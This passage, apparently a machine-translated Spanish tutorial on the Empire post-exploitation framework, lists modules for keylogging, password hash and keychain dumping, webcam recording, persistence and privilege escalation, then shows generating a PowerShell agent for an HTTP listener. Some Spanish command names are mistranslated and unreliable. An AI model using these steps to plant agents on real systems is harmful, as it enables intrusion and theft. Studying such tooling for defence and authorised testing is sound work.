powershell/situational_awareness/network/powerview/get_loggedon
powershell/situational_awareness/network/powerview/get_object_acl
powershell/situational_awareness/network/powerview/get_ou
powershell/situational_awareness/network/powerview/get_rdp_session
powershell/situational_awareness/network/powerview/get_session
powershell/situational_awareness/network/powerview/get_site
powershell/situational_awareness/network/powerview/get_subnet
powershell/situational_awareness/network/powerview/get_user
powershell/situational_awareness/network/powerview/map_domain_trust
powershell/situational_awareness/network/powerview/process_hunter
powershell/situational_awareness/network/powerview/set_ad_object
powershell/situational_awareness/network/powerview/share_finder
powershell/situational_awareness/network/powerview/user_hunter
powershell/situational_awareness/network/reverse_dns
powershell/situational_awareness/network/smbautobrute
powershell/situational_awareness/network/smbscanner
powershell/trollsploit/get_schwifty
powershell/trollsploit/message
powershell/trollsploit/process_killer
powershell/trollsploit/rick_ascii
powershell/trollsploit/rick_astley
powershell/trollsploit/thunderstruck
powershell/trollsploit/voicetroll
powershell/trollsploit/wallpaper
powershell/trollsploit/wlmdr
python/collection/linux/hashdump*
python/collection/linux/keylogger
python/collection/linux/mimipenguin*
python/collection/linux/pillage_user
python/collection/linux/sniffer*
python/collection/linux/xkeylogger
python/collection/osx/browser_dump
python/collection/osx/clipboard
python/collection/osx/hashdump*
python/collection/osx/imessage_dump
python/collection/osx/kerberosdump
python/collection/osx/keychaindump*
python/collection/osx/keychaindump_chainbreaker
python/collection/osx/keychaindump_decrypt
python/collection/osx/keylogger
python/collection/osx/native_screenshot
python/collection/osx/native_screenshot_mss
python/collection/osx/osx_mic_record
python/collection/osx/pillage_user
python/collection/osx/prompt
python/collection/osx/screensaver_alleyoop
python/collection/osx/screenshot
python/collection/osx/search_email
python/collection/osx/sniffer*
python/collection/osx/webcam
python/exploit/web/jboss_jmx
python/lateral_movement/multi/ssh_command
python/lateral_movement/multi/ssh_launcher
python/management/multi/kerberos_inject
python/management/multi/socks
python/management/multi/spawn
python/management/osx/screen_sharing
python/management/osx/shellcodeinject64*
python/persistence/multi/crontab
python/persistence/multi/desktopfile
python/persistence/osx/CreateHijacker*
python/persistence/osx/LaunchAgentUserLandPersistence
python/persistence/osx/RemoveDaemon*
python/persistence/osx/launchdaemonexecutable*
python/persistence/osx/loginhook
python/persistence/osx/mail
python/privesc/linux/linux_priv_checker
python/privesc/linux/unix_privesc_check
python/privesc/multi/bashdoor
python/privesc/multi/sudo_spawn
python/privesc/osx/dyld_print_to_file
python/privesc/osx/piggyback
python/privesc/windows/get_gpppasswords
python/situational_awareness/host/multi/SuidGuidSearch
python/situational_awareness/host/multi/WorldWriteableFileSearch
python/situational_awareness/host/osx/HijackScanner
python/situational_awareness/host/osx/situational_awareness
python/situational_awareness/network/active_directory/dscl_get_groupmembers
python/situational_awareness/network/active_directory/dscl_get_groups
python/situational_awareness/network/active_directory/dscl_get_users
python/situational_awareness/network/active_directory/get_computers
python/situational_awareness/network/active_directory/get_domaincontrollers
python/situational_awareness/network/active_directory/get_fileservers
python/situational_awareness/network/active_directory/get_groupmembers
python/situational_awareness/network/active_directory/get_groupmemberships
python/situational_awareness/network/active_directory/get_groups
python/situational_awareness/network/active_directory/get_ous
python/situational_awareness/network/active_directory/get_userinformation
python/situational_awareness/network/active_directory/get_users
python/situational_awareness/network/dcos/chronos_api_add_job
python/situational_awareness/network/dcos/chronos_api_delete_job
python/situational_awareness/network/dcos/chronos_api_start_job
python/situational_awareness/network/dcos/etcd_crawler
python/situational_awareness/network/dcos/marathon_api_create_start_app
python/situational_awareness/network/dcos/marathon_api_delete_app
python/situational_awareness/network/find_fruit
python/situational_awareness/network/gethostbyname
python/situational_awareness/network/http_rest_api
python/situational_awareness/network/port_scan
python/situational_awareness/network/smb_mount
python/trollsploit/osx/change_background
python/trollsploit/osx/login_message*
python/trollsploit/osx/say
python/trollsploit/osx/thunderstruck

Aprenderemos más sobre los diferentes módulos en un tutorial posterior. Primero, echemos un vistazo a cómo usar módulos en Empire. Usemos “external / generate_agent” como ejemplo. Tipo usemodule external / generate_agent para cargar el módulo. Una vez que se cargue el módulo requerido, escriba ayuda para ver todos los comandos que podemos usar con el módulo.

(Empire: agents) > usemodule external/generate_agent

(Empire: external/generate_agent) > help

Module Commands
===============
agents            Jump to the agents menu.
back              Go back a menu.
creds             Display/return credentials from the database.
execute           Execute the given Empire module.
exit              Exit Empire.
help              Displays the help menu.
info              Display module options.
interact          Interact with a particular agent.
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
main              Go back to the main menu.
options           Display module options.
reload            Reload the current module.
resource          Read and execute a list of Empire commands from a file.
run               Execute the given Empire module.
set               Set a module option.
unset             Unset a module option.
usemodule         Use an Empire PowerShell module.
  • agentes – Le permitirá saltar directamente al menú de agentes.
  • espalda y principal – Te llevará de regreso al menú principal.
  • Salida – Saldrá de Empire.
  • ayuda – Mostrará el menú de ayuda como se muestra en la imagen de arriba.
  • info – Mostrará información sobre el oyente activo.
  • matar – Se usa para matar a un oyente en particular.
  • ejecutar o ejecutar – Ejecutará el módulo seleccionado.
  • interactuar – Se utiliza para interactuar con un agente en particular (normalmente se utiliza cuando hay varios oyentes).
  • lista – Enumerará todos los oyentes o agentes activos.
  • opciones – Se utiliza para ver todas las opciones que necesitamos configurar para el agente en particular.
  • armado y desarmado – Se utiliza para configurar y desarmar valores para opciones particulares.
  • oyentes – Se usa para saltar al menú de oyentes.
  • recargar – Recargará el módulo actual.

Escribe el opciones comando para ver las opciones requeridas para el módulo.

(Empire: external/generate_agent) > options

              Name: Generate Agent
            Module: external/generate_agent

Authors:
  @harmj0y

Description:
  Generates an agent code instance for a specified listener,
  pre-staged, and register the agent in the database. This
  allows the agent to begin beconing behavior immediately.

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Listener True                                  Listener to generate the agent for.
  OutFile  True        /tmp/agent                Output file to write the agent code to.
  Language True                                  Language to generate for the agent.

(Empire: external/generate_agent) >

Configure las opciones requeridas usando el colocar comando, y cuando esté completo, use el ejecutar comando para generar el módulo.

(Empire: external/generate_agent) > set Listener http
(Empire: external/generate_agent) > set Language powershell
(Empire: external/generate_agent) > execute

[*] New agent N74NC8TD checked in
[+] Pre-generated agent 'N74NC8TD' now registered.
[*] powershell agent code for listener http with sessionID 'QKHQXGMU' written out to /tmp/agent
[*] Run sysinfo command after agent starts checking in!

Entraremos en más detalles sobre Empire en las próximas secciones. Estos son los primeros pasos para poner en marcha Empire, ¡así que estad atentos para más información! Puede dejar cualquier pregunta en los comentarios a continuación.

Foto de portada de SADMIN / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar